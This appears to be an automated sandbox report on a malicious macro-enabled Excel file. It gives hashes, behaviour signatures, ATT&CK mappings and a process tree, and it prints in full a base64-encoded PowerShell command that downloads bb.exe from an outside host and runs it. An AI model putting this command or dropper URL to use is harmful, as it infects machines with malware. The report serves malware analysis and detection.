973e51a1f7437e25537b2b355779653cbc82866df0185e3549eb3fc0b7accd39

General

Target

418efb6790fc20e7e961d6585a6baec5_JaffaCakes118.xlsm
Size

84KB
MD5

418efb6790fc20e7e961d6585a6baec5
SHA1

839913b96999373058a3dd868712bd65fda860e5
SHA256

973e51a1f7437e25537b2b355779653cbc82866df0185e3549eb3fc0b7accd39
SHA512

f854821c0ea4122a9bf8bafa602e322dddf8d558e5f04e732dd6505a9a4520b621b6cbd5f595f74808bd576cfc0b570716c8e80b8593f7fbf0992774eb46a4ac
SSDEEP

1536:wt7SOV85xWADP04KTouY6+pdQ8nsfzBayZeZMx6LCBtUK7fUtQ23:wt7SNF/uYVDQ8QzBayZeZQ6uvPc223

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.zhuoxinwei.com/bb.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2340	2688	cmd.exe	29

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2656	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2688	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2656	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2688	EXCEL.EXE
2688	EXCEL.EXE
2688	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2688 wrote to memory of 2340	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2340	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2340	2688	EXCEL.EXE	30
PID 2688 wrote to memory of 2340	2688	EXCEL.EXE	30
PID 2340 wrote to memory of 2656	2340	cmd.exe	32
PID 2340 wrote to memory of 2656	2340	cmd.exe	32
PID 2340 wrote to memory of 2656	2340	cmd.exe	32
PID 2340 wrote to memory of 2656	2340	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\418efb6790fc20e7e961d6585a6baec5_JaffaCakes118.xlsm
1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2688
- C:\Windows\SysWOW64\cmd.exe
  cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAdQBvAHgAaQBuAHcAZQBpAC4AYwBvAG0ALwBiAGIALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEoAdABBAGkAVAAuAGUAeABlACcAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEoAdABBAGkAVAAuAGUAeABlAA==
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAdQBvAHgAaQBuAHcAZQBpAC4AYwBvAG0ALwBiAGIALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEoAdABBAGkAVAAuAGUAeABlACcAKQA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQBcAEoAdABBAGkAVAAuAGUAeABlAA==
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2688-1-0x0000000071DED000-0x0000000071DF8000-memory.dmp

Filesize
44KB

Download
memory/2688-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2688-14-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-16-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-12-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-11-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-10-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-9-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-8-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-7-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-6-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-5-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-4-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-3-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-2-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-15-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-22-0x0000000071DED000-0x0000000071DF8000-memory.dmp

Filesize
44KB

Download
memory/2688-23-0x0000000000450000-0x0000000000550000-memory.dmp

Filesize
1024KB

Download
memory/2688-26-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2688-27-0x0000000071DED000-0x0000000071DF8000-memory.dmp

Filesize
44KB

Download

Analysis

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